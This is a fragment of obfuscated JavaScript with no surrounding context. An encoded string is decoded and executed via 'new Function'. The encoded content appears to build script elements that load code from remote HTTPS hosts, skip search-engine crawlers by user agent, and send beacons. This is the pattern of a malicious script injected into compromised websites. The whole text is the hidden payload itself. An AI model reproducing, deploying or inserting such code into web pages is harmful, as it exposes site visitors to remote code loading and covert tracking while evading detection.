Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();